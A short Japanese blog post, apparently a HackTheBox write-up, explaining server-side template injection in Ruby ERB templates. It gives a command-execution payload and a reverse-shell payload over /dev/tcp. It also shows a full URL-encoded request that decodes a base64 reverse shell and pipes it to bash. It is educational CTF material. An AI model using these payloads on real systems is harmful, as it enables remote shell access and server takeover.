HackTheBoxでSSTI脆弱性をつく問題があったので、勉強がてら記事にしました。
SSTIとは
サーバーサイド・テンプレートインジェクション(Server-Side Template Injection)の略です。
テンプレートエンジンを使ったサイトで不正な入力情報を入れることで、サーバでコマンドを実行させることができます。有名どころだとJinjaとかのことです(あまり知らないけど、、、)
laravel使ったことのある人だとindex.blead.phpで処理かけるやつを想像していただければと思います。
今回私はERB(Ruby)の脆弱性をつく問題だったので、ERBの場合の例を記載しておきます。
まず前提としてERBファイルではhtmlの中に「<%=【実行したいrubyの処理】 %>」で
rudyのコードを書き込めます。
つまり、rubyのsystem()を中に記述することで、サーバをいじることができるのです!
例えば、、、
<%= system(ls) %>
とかしちゃうと、ファイルが見れるわけです。
では実際リバースシェルを得る例を書いていきます(悪用禁止)
<%= system(sh -i >& /dev/tcp/<ip>/<port> 0>&1) %>
ですが、URLで使えない文字が含まれているため、base64でエンコードしてコマンドを送ってあげて、サーバ側でデコードしてあげて実行してあげましょう!!
以下実際に送ったリクエストの例です
http://〇×.com/?parameters=aaa%0A<%25%3d+system("echo+c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTMwLzc3NzcgMD4mMQ==|base64+-d|bash")+%25>
あとがBurpsuiteなり使ってサーバに送り付けちゃいましょう!!
以上ガバガバ解説でした。
以下参考資料です。